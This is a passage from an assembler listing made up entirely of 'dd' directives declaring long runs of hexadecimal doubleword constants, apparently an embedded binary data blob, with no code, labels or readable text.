94DDE5Dh, 0BB4B1F70h, 87817E24h, 30B5C00h dd 3D08E2C1h, 0F282D2F7h, 0C6A71934h, 69208CD0h, 681BA007h dd 37394AF5h, 1D2BB0EBh, 0E120E919h, 2959013Eh, 45685DE8h dd 783F3340h, 43968C1Eh, 59315A89h, 2EE9043Fh, 0C942A821h dd 54062A90h, 94C8E9F0h, 32DA23ECh, 0DC90D243h, 4883C95Ch dd 92BDB06Ch, 51945743h, 648247ADh, 56E18966h, 6B5BA62Fh dd 3A085493h, 0C8C12C5Bh, 6817309Fh, 6D1D2DDFh, 4D8A5E61h dd 0C56FA31Fh, 0E3A30328h, 92D22200h, 0D17E99Eh, 0C6511ACEh dd 2F0C8556h, 4B145B5Fh, 380971A0h, 0BA443603h, 0B0CC07FBh dd 0C15DEA01h, 4679F01Ch, 0B2CA3069h, 1B7B1324h, 759FEE00h dd 4FE93159h, 0D127030Bh, 0F7C287E1h, 5F545260h, 53464082h dd 44E70968h, 868264ECh, 0DB515A76h, 804D2D3Ch, 11750552h dd 18377531h, 0A3851E1h, 82C4110h, 2D149D1Ch, 11A07507h dd 16FEBB53h, 0E9663F05h, 0CC377DBDh, 9DC4F28Fh, 207C57C6h dd 66134E06h, 4391AB0Fh, 101C863h, 0DEF40F9h, 6A7DA305h dd 19ED9427h, 2A6C6BBAh, 3F0DB800h, 0F001C11Dh, 1F145E5Fh dd 0C0A60BDCh, 82C68533h, 84EF10B4h, 1294B7B0h, 7F915B12h dd 252B259Bh, 0F062E5E0h, 35CC2291h, 0B35FA113h, 560D359Ah dd 574E4732h, 0B63E5568h, 2C7B01EEh, 2030E940h, 59CE8651h dd 0F62E254Eh, 0B60F0750h, 776842CCh, 4FFD8AE0h, 7C5DAA9h dd 429C23E5h, 1B445C01h, 825A54C4h, 5904D8CAh, 3BD970C0h dd 12C0250h, 86468FBh, 28D7F59h, 80332CDCh, 12D5821Ah dd 68859865h, 8E446425h, 0A714D033h, 9D606B13h, 0F8D973h dd 71ABF781h, 53D5845h, 0AC68000h, 6134E9F4h, 0F70A0A9Ah dd 39FD895Eh, 83066BEAh, 0FA0A01EDh, 0F6E209C5h, 4F51EC66h dd 27784525h, 8F90F889h, 0C5921DD9h, 0C430A390h, 5709AE61h dd 4E9991Ch, 0E2056568h, 228A4AB1h, 0C882B917h, 837F5C4Fh dd 65870226h, 5041CA68h, 0BD343068h, 91309554h, 0EF37E958h dd 905AA759h, 0FC5DBE83h, 0FBE0B70Eh, 0E289A0D8h, 1EE913FAh dd 213E345Eh, 0D6649FAh, 2C34B603h, 0D2729E3h, 287F2A57h dd 6EF2A760h, 49DCF18Ah, 66F0B28h, 0A76ED6E9h, 1B02C525h dd 4AC3F2D8h, 1EE807A6h, 0D7870C0h, 7F020738h, 82DD055Ch dd 1260491Ah, 3B2541E8h, 891340A6h, 145873C1h, 3B0C8BCDh dd 43372861h, 4B9FDBB4h, 6A9E9000h, 0E5B93E39h, 9EC03617h dd 174E42Dh, 0C8053AD2h, 0EA44371Eh, 5100E2C4h, 6E34A7B9h dd 95ECE92Bh, 0D388BC83h, 79149EB9h, 8948CF20h, 0EB55107Dh dd 79011478h, 5704FE26h, 0C86C7364h, 5C946E18h, 5C015E05h dd 25FF9D50h, 0EB186C50h, 51455B0Ah, 9E8C4B90h, 1275B266h dd 3535AD68h, 4EA904CAh, 0CC800365h, 73249FC4h, 239983h dd 360FEFC3h, 295A4574h, 0B2C138B8h, 84250BFh, 35ECCA83h dd 0C0109A0h, 62514AA3h, 28A0C329h, 140CD008h, 24612091h dd 352EEE44h, 261C424Ah, 35B80C68h, 5B815607h, 7FC3D0F7h dd 31964E51h, 6C5765Eh, 940A5FAh, 0F4532BCDh, 0F9C867B3h dd 5E244CC4h, 7AC983FFh, 526734E2h, 0F26F39EEh, 0A1FA50Fh dd 3F7551F4h, 0CE09E24h, 66B376E0h, 0E101CBB8h, 0C1588C71h dd 128202E7h, 0EAA99743h, 7ECFD84h, 51F98957h, 0D2539F3Eh dd 5AEF82A2h, 0E9F1BC5Ch, 9D3678FEh, 78282A92h, 218202A6h dd 0B28069E0h, 5193449Bh, 880C6A4h, 68015650h, 8FB390Ah dd 0C6FC4E5Eh, 0CFE40358h, 63DE971h, 0F3EE5101h, 5D346D4Dh dd 0A977B6F0h, 0EBDDFEBFh, 0D04B1A68h, 1B78EDF2h, 0D1F77317h dd 11F0260Ch, 64F14801h, 59A4CB28h, 812818BDh, 547C0AB9h dd 0A5DE6411h, 0C61366EDh, 0DE09C6E1h, 0FE4151D1h, 3501C478h dd 74D3601Eh, 0BA1F24EAh, 5FD2DEBCh, 0B2574CC3h, 933B76E2h dd 690200E7h, 4B3C8C0Bh, 7561DCFCh, 0EEC1461Ch, 4DD57089h dd 0C0B3AB29h, 68590C04h, 0A29865D6h, 79D2AC5Dh, 5582A50h dd 20E84062h, 454BD88h, 814A4B09h, 27C9EDh, 0D30FB99h dd 0C2524130h, 710C9711h, 490969E9h, 0B98BEC27h, 19AF5A45h dd 388B0153h, 0CBC6DE58h, 91A49BABh, 76C3DA9Ch, 968277Ch dd 5865C67Ch, 72DDBCFh, 519C3E9Ah, 0E4E91AB4h, 7BAFD4D4h dd 0A4BFA8B4h, 0D286F4C2h, 0C4734EE2h, 0E39FE8BDh, 64D4A4E9h dd 0EFA689F8h, 1CEAD8E0h, 8EB095A4h, 0EE0EB69h, 0E5EE5F25h dd 0A8722807h, 5FF821D0h dd 0EBC3A348h, 31DFB1FDh, 0E430FB71h, 0D43807E0h, 8EC22902h dd 0A8630854h, 564FF7E2h, 0A2919599h, 7DB3050Bh, 2D81DE28h dd 290175ABh, 0A2E878CBh, 6005C201h, 0E702F2Ch, 0B5BF2D1Fh dd 4F6EE100h, 550EFC1h, 4713109Ch, 4000079Fh, 557FF35Eh dd 19809D29h, 88469AEFh, 0F6183854h, 2CDD0D12h, 62B38912h dd 15E5412h, 9A1A4E36h, 0B6DC8053h, 1AC65E5h, 505A0BD6h dd 66270CE9h, 54081B9h, 0F0CDF93Bh, 5D81D925h, 211D3E62h dd 0C2C1DCE8h, 608FE90Eh, 503182C5h, 80000A5Ah, 302F7EEEh dd 0EC0AB1F5h, 4D37E4CEh, 7B4C9B26h, 53C56377h, 0EA0FE7D1h dd 535E18D0h, 64827601h, 2A61A4h, 6A544395h, 1CD0FB01h dd 0D3680908h, 814CF926h, 58150B47h, 0FA1120D1h, 5A26FCB2h dd 6F0C7131h, 9C7C379h, 13523FDEh, 249CBD8h, 5635965Dh dd 0C80FBA0h, 0DCF60FECh, 882C7E0Ah, 1842CCE5h, 90EEDA10h dd 989A02B0h, 0F0292AFBh, 5F82A1E5h, 4A69DBE9h, 0B893A2A5h dd 4404096Bh, 5BAE334h, 36B782E7h, 5AAB8201h, 2A2140EEh dd 8068204h, 2651CBE9h, 7855158h, 5BB82536h, 0A4FCB187h dd 0BD5F812Ch, 61BA0007h, 226B246Ah, 0DA7A0298h, 96894D2Fh dd 998004E2h, 28582C0Bh, 8E6C10Eh, 0DEF760D1h, 4AFF681h dd 892B4398h, 0E03685F2h, 551236DEh, 89082242h, 5B1FAE92h dd 9CEF0ADh, 3C5FC977h, 7364E217h, 0EE318B16h, 8638F3E9h dd 0FDB65200h, 0F65AF088h, 0D02CD872h, 2D12FB86h, 2501C7A0h dd 371858C5h, 274A8168h, 6C9DCD24h, 643B93E2h, 0D4FB7020h dd 0B8ABC02Bh, 130C10C5h, 0BC9B91Fh, 58C10429h, 0B359CA01h dd 4B5C2C16h, 19279312h, 0C8010F67h, 0C6406659h, 0A8234868h dd 0F70DE946h, 0FB605B02h, 0BE35E4A5h, 7AA95B90h, 294DE9C2h dd 32971BCCh, 2324153h, 6AC97CC2h, 3ACD8389h, 585C162Ch dd 1329CF9Ch, 48108610h, 5152B25Fh, 2EDF2AF3h, 41610DA0h dd 42013530h, 61EA9FF9h, 93BD0651h, 0B442838h, 31A8FAE1h dd 5BC27D7Bh, 0D5CF13F7h, 0C0A682BFh, 294F097Eh, 70F3C929h dd 0F6E61BA5h, 885EF325h, 5B1ED8A1h, 62EA6971h, 0DB6C51E1h dd 7632292Fh, 745F1E41h, 77F98740h, 685A0503h, 40F61BA0h dd 5AD70182h, 74C3A95Ch, 0F333257Fh, 591BCDC6h, 125BD821h dd 0C04FE985h, 322EBAEBh, 31017207h, 4BD55AD5h, 0D9899541h dd 41CDF75Bh, 95E3A5ECh, 2C56CEB9h, 54D9B4CBh, 273F2B6Bh dd 13D7EE5Ch, 8CDFB1E9h, 3C54D3E5h, 0BF69AFC1h, 6AA7E51Ah dd 1237A4DEh, 0ADB584E3h, 9CD297D4h, 0A9D17A7Ah, 0E8285E30h dd 46FFD2CAh, 5A1E7D71h, 8409D829h, 32826460h, 5E26C83Bh dd 57BF0D29h, 25D61DEh, 1C9B8D40h, 17C26B8h, 0D20472C8h dd 525D9087h, 134CBE68h, 9CC2B40Fh, 339798B8h, 2D9182DBh dd 3C94E8C1h, 71EF4492h, 8DF307Bh, 244A3BB0h, 1A683780h dd 4143C405h, 2BA4E32Dh, 0F609815Bh, 3CE8E6F1h, 892834EEh dd 9399BBB5h, 219BF02Ch, 0A896AB4h, 0AB8C8E31h, 0CBA76863h dd 1D920639h, 708EAC1h, 0DAF73Fh, 6DB9ECF2h, 2DD10996h dd 7883F9E9h, 3AB9CA21h, 1E44A71Ah, 5829BC97h, 0AC81E691h dd 596F95D9h, 0FD529E74h, 0AD166EBBh, 7CECE48Dh, 4734C1BEh dd 6006E7C1h, 30F631CAh, 0DC59717Fh, 0D18813B2h, 824E44E2h dd 22DC555Eh, 45638162h, 4521351h, 13C31ACDh, 0DAF6D440h dd 7E6AB863h, 5D7E2A51h, 89386FCCh, 29A721B3h, 18F662C5h dd 0EE5F450Dh, 25317C69h, 8D415953h, 85672256h, 0A64732E9h dd 0D572DE88h, 0E3C10060h, 0DB38F704h, 0D301F44Bh, 2CB3F381h dd 182B67B0h, 122D0640h, 5FA77813h, 36E916D1h, 59A8F754h dd 551E5207h, 1630C256h, 0BA6B607Ch, 70B6C2E0h, 88641768h dd 0BD6E0802h, 0A7ED8100h, 97861897h, 3F29C107h, 6A3C437Dh dd 80CC7922h, 4C33EC7Fh, 0FB2D7D05h, 0FC19218h, 417005E8h dd 80DBC3CDh, 0EB9812C3h, 3E6C09Fh, 374B5DFCh, 266821CCh dd 52B4405Bh, 0DBF8EE8Eh, 797FECC7h, 5A57D50Eh, 22D0B75Fh dd 0BC4D77E9h, 0AFD5BC93h, 0DBC7F080h, 2902742Fh, 2431F9EDh dd 0D8E05933h, 689E040Fh, 0C2895494h, 0C025B353h, 86305ACCh dd 0B013D5F6h, 39092829h, 6C504Eh, 586B5EBFh, 835DBA27h dd 19D2364Ch, 4E678167h, 0F678B5DDh, 0EE315F09h, 202CFFADh dd 77050912h, 8FE95E1Ch, 0C243BC5Eh, 0DA68E2D1h, 629C5C6Ch dd 0B3D93070h, 21567A89h, 1877C7Fh, 0A32839E5h, 0C0B70F0Ah dd 0CD5C16FFh, 0BE4B8B30h, 0F4021A02h, 2860A773h, 8C9EE580h dd 0FD8AE4ADh, 36FE542Eh, 90FA2A12h, 3C2068D6h, 66239A9Dh dd 24AEC39h, 0E9138175h, 0B344FE8Eh, 0FD4C9490h, 55C780CDh dd 4F5A1B1Ah, 7C63C957h, 3F0F0E7Eh, 0F1EFC018h, 3477D64Eh dd 1A1CF729h, 14011C08h, 805FFE87h, 7B93E754h, 3552D8Dh dd 0E97E6110h, 5B0221FCh, 0C428FBCAh, 8D74E01Dh, 32203E56h dd 30FCE202h, 5F60655Dh, 34307FCEh, 2853244Fh, 2023B8AEh dd 3349C664h, 5B89169Fh, 0C4FABF8Dh, 0BC1F2052h, 5AD00900h dd 93BE5640h, 69272628h, 18341D34h, 39EE6C13h, 0E3327716h dd 0ECE94607h, 8B9B5149h, 80D11704h, 0FA55A080h, 14EF834Ah dd 0F5E78101h, 0E62D3E1Ah, 5856A5E0h, 8E4B229Fh, 6D8107EAh dd 2041C15Bh, 464BE7AEh, 75CA9330h, 81530DABh, 0F90DCBF1h dd 0C41028CFh, 25F4F821h, 0C9D44EAEh, 46A9E0AAh, 0C0EE059Ch dd 0AD15B8F5h, 4DCE904Dh, 0E61E0947h, 4EEE1BD3h, 0F9885188h dd 7735B8F1h, 7F2055B0h, 0D5293F07h, 28003727h, 0B11AE4BAh dd 0AFCADAA0h, 49F06D05h, 0B0AC4DE9h, 7F50844Ch, 41240D5h dd 388D6651h, 4AA449AFh, 0A2682733h, 27AD4C2Dh, 0F620E7ADh dd 8C0AE4C2h, 4051B48h, 0D526974h, 0F049B9C4h, 1282FD51h dd 98E107E5h, 0D5B62825h, 37E700B8h, 0DEF77A8Dh, 2EFA9887h dd 5A286B01h, 0E02D307Bh, 0A501AC8Bh, 976804AAh, 200A8D19h dd 1A5B3DF5h, 0C62718Dh, 308CB108h, 0EB9CE322h, 406F6850h dd 295EE90Bh, 0D71C320h, 0ABAEA30h, 520A1D58h, 6A1A0281h dd 927A17B7h, 0CBD10882h, 0F764784Bh, 0DB3A297Bh, 71E52C04h dd 0A38244F8h, 0F285E8BAh, 0A4FB35Ch, 0A1744AF4h, 0DCDE3EABh dd 0E9255F09h, 8F8D0585h, 559D6487h, 974E737Ch, 1953C647h dd 68C7B0BCh, 99F659E4h, 0E888E90Dh, 17233A2Ch, 44199258h dd 168E2DF2h, 0E1216425h, 6529D94Fh, 3AE6E8F8h, 7B4085AAh dd 0F6BCBEC0h, 820846A6h, 88350171h, 0D456D328h, 0AFE4A3B8h dd 1026ABEh, 56FFE9D9h, 660D0084h, 502AEE71h, 584B87B7h dd 3B4A82A1h, 4BA4B20h, 18A67D06h, 0B43AC401h, 0CEB4CF49h dd 20058379h, 4390E919h, 0F8709992h, 0A727D079h, 0A2FF23E8h dd 8936B871h, 95E09F1h, 9B8059CAh, 5A3D2D96h, 0BA19E917h dd 48887BD0h, 5CCC5CE4h, 0A32DC880h, 3758AD13h, 0BDC75B66h dd 0CF13E54h, 0C148089h, 5A3931CCh, 1233CB8Fh, 4C657820h dd 0F503F7FDh, 5DE163B1h, 6180C02h, 485559A1h, 7814F810h dd 5006B84Ah, 0B05D07EAh, 0E1D7599Fh, 0C102B505h, 0B06D8425h dd 0F8770164h, 1A07164Ah, 2FF2C9BDh, 4A8AE022h, 0EE64621Eh dd 6604DCCFh, 7491A97h, 29834CF5h, 0EB5EDBF0h, 0ED6A9B05h dd 2D1A831Fh, 0BE4E840Eh, 72E5D107h, 624420F8h, 59C0DF5Bh dd 5B04B2BEh, 0F8688025h, 0FDB6967Dh, 6D3AAB00h, 0BAD0E927h dd 70681798h, 91B378h dd 11215BDh, 0B8E5C132h, 6EFB20B7h, 3CC5058h, 70091327h dd 8CE2C756h, 0AEFCD90Dh, 0B95150E7h, 1A3E13FEh, 0F0E1042Fh dd 78C19164h, 0BD055909h, 0FC758436h, 0F13A2512h, 4294F067h dd 0C688FABBh, 0DE173F7Fh, 3078CDCDh, 90B51F27h, 0B14CD3DCh dd 0BEDA5B5h, 64C49C09h, 5DC1F1C2h, 0BC05BC79h, 455B471h dd 82595ED0h, 1793F879h, 0B00C41E2h, 6C20CB52h, 9C2085E4h dd 9C584ADBh, 0A99A334h, 24B8230Ch, 5DD77729h, 5B2496BAh dd 36D23E28h, 4FD68C19h, 94CD2957h, 93D652C8h, 0D9187AE6h dd 7DEFFD2Eh, 0C775E06h, 532DFF7h, 937C9563h, 0A288C401h dd 4A085840h, 6012CA99h, 0B7C310ABh, 266FE795h, 0F2EF13C1h dd 6DA64ADDh, 413B6B40h, 5B241F2h, 5A409754h, 631984Dh dd 32A40DBFh, 0B8B583h, 9E1E684Bh, 0F302816Fh, 26E74F82h dd 13F65E31h, 661843E1h, 6898F1F7h, 75BE72BBh, 80BD65E6h dd 2237E1F6h, 61A15230h, 3285D0E5h, 131D6813h, 52CE0F8Ch dd 31137447h, 717D3DAh, 42050637h, 401E01E2h, 1FF2F182h dd 0CF252A33h, 0C73C02E9h, 698D0CBCh, 0F2B0CA78h, 6BC0050Fh dd 2B1FC906h, 0C0DB43h, 36CBBF57h, 60C05C58h, 0E2F62E8h dd 0DDE92D41h, 0B5687102h, 2BC52EDCh, 0CCF89F4h, 11564001h dd 7A1295F2h, 7EF180CEh, 0BAC0B06Ch, 63EE4FFEh, 0C11AD2FAh dd 840A05EAh, 3821019Dh, 8E287A35h, 0F5BAB532h, 0F9564D85h dd 6853C0B3h, 97029FAh, 1D71E916h, 59541DA2h, 0C23F12D3h dd 0C5FE1150h, 0B32444E7h, 78E592C9h, 0DD40924Bh, 6140C3B6h dd 64C3C39Dh, 0EE811101h, 13CF0408h, 0BABC6D8h, 5D6FAF1Bh dd 0F6CC9682h, 0AB498954h, 2CB283DFh, 85DD9367h, 0C8FE0182h dd 4AE7C112h, 2E9FE103h, 6702EC7h, 0BED7F747h, 8863A52h dd 202BAFF1h, 8A616C0Ch, 1322F847h, 0B073500Fh, 8A1E948h dd 6C5A3B5Fh, 3C54D9D8h, 580B302Dh, 0CB2BC200h, 0B7B8714Dh dd 0C40E05FCh, 612F022Dh, 26F45672h, 8FF2D0F5h, 1811F407h dd 81E76DE9h, 600114F2h, 0EA00A2F7h, 0F71071Ch, 2CE34D68h dd 1F79C22Dh, 757C60BDh, 5966806Ah, 0AEA0B2F0h, 8981E33Eh dd 0EE8BA8B9h, 8D8B215Dh, 0F8CEA65h, 9E17FFCh, 4E486E3Ah dd 0F7079602h, 6502E6F4h, 405C7D70h, 3DA80EA7h, 6A96B099h dd 0BFBB424Bh, 51C1D952h, 0BB1534F0h, 18377901h, 723B6825h dd 548E303Bh, 78000246h, 16BACE81h, 0A28331DCh, 909D43A5h dd 7151FA09h, 0CA812E42h, 3B943C92h, 0A200894Ah, 314675B9h dd 0F3E65AD6h, 0B2B26890h, 0E3C15B12h, 60FEE209h, 0CEB80A4h dd 0FCB68E0h, 0C84190EDh, 0E3A3327Eh, 0E41497A9h, 1E4011FAh dd 0A2F87288h, 8748D9ECh, 3002EA80h, 0D1283FF2h, 4B92719Eh dd 2D5159F0h, 0F0C364B1h, 2580F3A9h, 87ACCFAEh, 0A8B525ADh dd 0C6FE1F21h, 10165CF9h, 592F3A3Dh, 0D27E2C6Ch, 5BB45159h dd 547FD0CBh, 915CE486h, 27E52B13h, 4420AF64h, 0E75A4AECh dd 43D45B6Eh, 255032B0h, 33E14071h, 97383268h, 0B88917E4h dd 0FC74558Dh, 0D09B623Ah, 5959D9D0h, 0DE0F9263h, 40F3E902h dd 13B45028h, 842B7A7h, 891420BFh, 0AB861B7h, 0FCCA9051h dd 8C1142Ch, 0FD7D2C7Dh, 247A6BD3h, 8C16B44Fh, 5DE924F0h dd 68090C99h, 80E61B45h, 0BF3FDD09h, 0F71B223Bh, 0A4C8E0DBh dd 1EC90249h, 37E2E581h, 0CD877240h, 8CF8690h, 8CC5A045h dd 0BF0CDBEFh, 0E46D7083h, 0B75BE902h, 0F9C728C1h, 7E80BAA6h dd 0F699B652h, 0EE3080DEh, 0E92506B7h, 89A1C726h, 0D5BF74FDh dd 957B305h, 9158C101h, 7EB642h, 35D0F710h, 1426EEDAh dd 838949BBh, 41A16AEDh, 0D278CA57h, 0E9C15DC8h, 6E625BEDh dd 0BB70A604h, 6490C05Ah, 6DB0E260h, 0C7244925h, 0E9898BF9h dd 25702C63h, 165A2D07h, 0BD573AC1h, 1621FB0h, 70551F8h dd 82118FD6h, 0C940E908h, 0C73C5C6Ah, 5B35884h, 0FF12EF89h dd 5EBA6B82h, 0EE746453h, 0D701C204h, 80FE3C4h, 7E4609E9h dd 1BC2EB41h, 895C795Ch, 8E98338Eh, 61E90631h, 0FB494E4Ah dd 27BA7C35h, 664B986Ch, 0B2F97A44h, 72D80107h, 1657C739h dd 5E659577h, 40F1E909h, 1E5E68EEh, 8C434C7Eh, 0E3315691h dd 9B79900Ch, 5C950C53h, 0C058D142h, 10408409h, 0BB08B70Eh dd 5C29BD01h, 76BE604h, 0F4D13129h, 979583h, 4D067A72h dd 0F5018172h, 68A23671h, 1029EF29h, 292DD785h, 26D82E93h dd 305A80EFh, 6435A083h, 44822442h, 4FA072Ah, 0D78792F2h dd 85062E3h, 0A4CED30h, 0CDE90DD9h, 9E793A31h, 0C8B70F83h dd 0A236C4FDh, 58076577h, 16C9E35Fh, 0FFA56437h, 810C41B4h dd 0E7AE0Eh, 246B65BBh, 26276F3h, 1B381A18h, 6427CADCh dd 59581CFEh, 0CAF7C53h, 89ADF588h, 0D2023A28h, 0D80903FBh dd 57912779h, 0EB28F4B8h, 0C1C8664Ah, 0C3838B02h, 7D71C3E4h dd 6378E382h, 80161286h, 8684E4C3h, 0E9878401h, 2425B1D5h dd 9F06DE38h, 0C3A5368h, 4C397B0Bh, 69A57913h, 6595B146h dd 55C1779h, 0A26994FEh, 52984E69h, 9159A6Ch, 7985685Bh dd 0C0BEA17Ch, 0F0D97D88h, 90789AA2h, 0D0B15C32h, 0CA25ACAh dd 0EAD91863h, 0AF498390h, 0DDBC5E6Dh, 9263231Eh, 5B380D3h dd 263D7A1Fh, 70EF1520h, 2CD813A6h, 0D12C0ACh, 114F8911h dd 21C72D26h, 0A79F6001h, 2237DF9h, 8A6E21E5h, 88D36012h dd 4B550BC7h, 396324E9h, 895A5E98h, 5F0AF24Ch, 0B516882Fh dd 7BBFCC0Bh, 3C12371Eh, 959CA0Fh, 0F9E00518h, 565A5281h dd 0B2107D61h, 171727B8h, 3229AA3Bh, 115D01C6h, 340683F3h dd 48736D20h, 2E789742h, 0ACED3B78h, 810617ADh, 6B44318Bh dd 2A222644h, 68EA30BEh, 55AB50A5h, 0BB292E7h, 7FB71083h dd 2A4C27h, 776851BDh, 5270B662h, 69960550h, 61E44A5Bh dd 9D71FE3Ch, 84D3E81Bh, 0F605CCADh, 82B82FC0h, 0CBC91FC3h dd 0D4C42193h, 0DF173BEEh, 0A912DA01h, 0D4D35BE3h, 0F1E3C52Ah dd 5C297E7Eh, 612CD2F9h, 96BE1050h, 0A19A252Bh, 6825FC50h dd 0BDDFE6BAh, 0F6C6E4AFh, 0EA0B5DC6h, 5A4C119h, 87B2D6ECh dd 75746882h, 5712F159h, 0A607CB01h, 0EB385F64h, 6212EF03h dd 117B05ECh, 47602A0Bh, 0FC67057Bh, 0DEE0088Dh, 4BD39CF6h dd 0BBBEA524h, 0DA583309h, 8F80A96h, 19D7F16h, 4A892DEFh dd 6151C603h, 0D0422212h, 435FECBBh, 0C8E0D182h, 142FED3Dh dd 14B52716h, 0A1594AEEh, 126833F0h, 0FD4E3325h, 8AD34AEAh dd 69205958h, 937066D8h, 5305D727h, 1221A42Bh, 0FEA16314h dd 4F213F16h, 9F25C4E5h, 80D65530h, 805B405h, 0C22930D5h dd 1895BE2h, 0F199C784h, 20677EDCh, 86E30D74h, 51C2CA5Bh dd 0E05F60FCh, 25F6360Eh, 80ACB2D1h, 0DBFC2D02h, 660BEC6h dd 0C7267899h, 0EA94C556h, 0E3583108h, 0F6257BE9h, 0A6D0B463h dd 54AEEBC5h, 382FCBC9h, 0D9A6FC2Fh, 5B4E1AB0h, 41A46BA2h dd 995D92A0h, 0E2D3207Ch, 8C4EC504h, 7DED9AE9h, 794AD950h dd 687C0075h, 0CB11A28h, 50BA60E9h, 9278585Dh, 1CC93F05h dd 86C410ECh, 9AAC12EFh, 3A2429A5h, 0DD297530h, 42E2BC5Bh dd 9457D1BEh, 4794B50h, 0BEEB3117h, 5509072Ch, 0C3004655h dd 5047778Ah, 0C00CC14Eh, 0FA2911DEh, 0A49E6E9h, 154912CEh dd 4301C7A3h, 0E93FC237h, 9655F6F7h, 0F3524E83h, 6E301227h dd 31C4A7FCh, 2DEB402Eh, 4E2012CCh, 4B0BD901h, 76E9162Ch dd 0C3618F47h, 283A2C4Dh dd 544E53CDh, 0C3C02634h, 0BA93FF3h, 2EDC14Eh, 4FF8CE80h dd 0FD9013AAh, 0D76AD902h, 7C64E947h, 406A2589h, 58874490h dd 4C885980h, 0A7140C18h, 0B6A7E2D5h, 545C41D4h, 8DBF02A7h dd 0DC6B9710h, 0AF78092h, 0E9799465h, 5A6E5949h, 8D355940h dd 2601EB48h, 58215FFDh, 0AF4E0F66h, 69716E88h, 725E82ADh dd 0BC12165h, 0EE064906h, 0C4AE095h, 556A0727h, 1357F281h dd 0EAFB652Dh, 141C4AFBh, 35D602Fh, 5D73ABDh, 0D501C976h dd 50C5FC80h, 39E3093Fh, 137814E9h, 0CBAB4350h, 0B637100h dd 6AC1CD81h, 31FDB8F2h, 0E87F4786h, 0B7043A18h, 11B82282h dd 1F52F7CFh, 0DC3516D6h, 0AD420560h, 2D2EAD42h, 61140914h dd 5F770F70h, 51E01494h, 3E2BA8B9h, 0C90205ACh, 41ED68EAh dd 29C306C1h, 32F0063Dh, 760C3884h, 3F7C2FC6h, 2EDBA6C2h dd 0F9696B09h, 70738848h, 244C010Bh, 25F95BE3h, 0C54B0691h dd 0A0C9F8DFh, 9EAC97E9h, 1913B124h, 5F192443h, 0EF4B3195h dd 0A05A65DAh, 4B162D25h, 0D24FF6EEh, 58744C92h, 1CF73230h dd 3D895A13h, 0D92732CBh, 6810C009h, 8C4E4E3Eh, 7C02BB01h dd 0C12A5F7Bh, 0CB5F40E3h, 9E2E07B9h, 69C7E923h, 0ECCC77A9h dd 18CB3E30h, 0E4D48850h, 2FA7B8E7h, 732CF78Dh, 27257730h dd 786BE0A3h, 2AC20911h, 94A5DCE9h, 0C02E8464h, 2D0B6896h dd 0F788F499h, 0ECBA01ABh, 2C706701h, 0C09A16C1h, 4003495h dd 5D161E14h, 66E10081h, 0E9310B19h, 0EDC5E313h, 0ABB32A6Fh dd 914EFE47h, 0BCD6F746h, 0F24AA504h, 30B98D6h, 723A8373h dd 7F2CD29h, 94BF4AD0h, 29938197h, 56200F25h, 6B49160Ah dd 0C027A220h, 9648A3BAh, 1C29061h, 35BC63EBh, 3623CBE9h dd 68971A9Dh, 958371BBh, 60175F05h, 0ACE820FEh, 7609FB35h dd 0AFD1DDF7h, 800200D1h, 3CEF0127h, 0A54D895Dh, 5ECC5F2Dh dd 0E9525609h, 0B81C20B6h, 7A712277h, 96A4F29h, 0E4D35F6Fh dd 42BF5E34h, 429E6863h, 80FD6DC6h, 31863AEh, 5511E91Bh dd 5A40D9D0h, 2D6FC468h, 0FC697648h, 59E874ACh, 536E91B7h dd 48A942h, 294BD0B8h, 14324Ch, 27F24A47h, 16F6EE81h, 0B00FDA62h dd 853DC6CBh, 50E5A59Bh, 91E9256Ch, 895CFE04h, 21D1EEh dd 0A5EF8858h, 0CDE984CFh, 4DF1E4EDh, 7CE62F0Fh, 81814FD1h dd 0CCA1FECh, 7A660C82h, 31C07577h, 0D257D50h, 204B7843h dd 0AEC117CAh, 55C558B0h, 47D39E84h, 0E697C1A6h, 7BC08503h dd 0C1B4C9A7h, 8906BF29h, 0D017C5Bh, 0E9463C34h, 0C3763B42h dd 0D09E554Ch, 0B8E643Ch, 0E32898C2h, 217A60Bh, 663AD3C7h dd 54EC5B57h, 0E9512480h, 0CEE18A2Ah, 792D1451h, 42E64049h dd 693B4812h, 0C2CA6AF2h, 0D089020Fh, 0EDD43AE9h, 0C4143585h dd 0D97E5DC1h, 944A6602h, 20DF482h, 0BDF1600Dh, 9BE980DFh dd 0E48FB667h, 934EC055h, 1F125C54h, 9F00D3F7h, 6C3B6712h dd 4AE9F029h, 50F509DBh, 2B5439F6h, 3CA53C88h, 13027798h dd 9EC5F9F7h, 548A5401h, 49A9B110h, 40F94C4Eh, 53B76D1h dd 2FE9935Bh, 48E38C84h, 97FBEA7Bh, 8EA8C1EEh, 71186BCDh dd 500E0149h, 2909A1B8h, 0E9134C38h, 82B8A1D0h, 0D61EF4F2h dd 97745E5Bh, 0B43907E8h, 85D06B3Ah, 0ACE4400Fh, 5FF8C056h dd 58CFE95Dh, 0C08703D1h, 0ED509402h, 15C31446h, 990FB7E9h dd 0A33C1A1Ch, 0A4A26627h, 0B959A931h, 64673A89h, 0B7B4F04Fh dd 0E151F706h, 0F3263A75h, 0ED14A249h, 0C8B5E07h, 0E05DEB16h dd 0AA995346h, 2E67643Ah, 642FB0E1h, 0F9AD86h, 7E6F41DBh dd 0B7420BE9h, 4F71C721h, 30F0E66Ch, 70B7230Bh, 69B24989h dd 4547D338h, 4AFF8A4Ah, 0A55AE18Ah, 2F1B30B4h, 27AAE683h dd 0F1D35Ch, 774CA810h, 0F140A05h, 6DD0002Bh, 29FA511Fh dd 0C3E9FB17h, 87242A92h, 13D88AB0h, 5246715Dh, 8EE63C25h dd 8B194E23h, 0B5FDD8D7h, 3F22C540h, 78F74880h, 9CBC79D8h dd 6DB46D1Dh, 7D889384h, 32289E0Eh, 0B4DCD648h, 9A77F253h dd 9987F0BDh, 0A77C97C7h, 25915F54h, 7E3C5451h, 0B3609ADh dd 0D5D950B8h, 5F271F5Bh, 52CC6782h, 1E620F85h, 247F4322h dd 0D2688515h, 0E0458D24h, 0F728B354h, 2620207Fh, 66609DB4h dd 434C4BEBh, 58BF1684h, 7F5ACDD0h, 851E4E01h, 0E3240326h dd 2810472Ah, 0BE054DECh, 91B4425h, 10625AD3h, 28625DD1h dd 2CAEC1D0h, 4CB8F955h, 1997CD4Eh, 5AD6F88Dh, 0F24D03B5h dd 515703A9h, 0EB308AB5h, 0DE2859B0h, 3521149Eh, 0A6B05080h dd 18C6B753h, 6FFC780h, 0CF78FE83h, 0E922EF09h, 0D22FF06Dh dd 82BCE381h, 71615968h, 6369A493h, 6D7607EFh, 0C60E6225h dd 0D837204Dh, 0DB5F5569h, 685280F5h, 38F16BACh, 0CE045A5Ah dd 2D001729h, 7CF26713h, 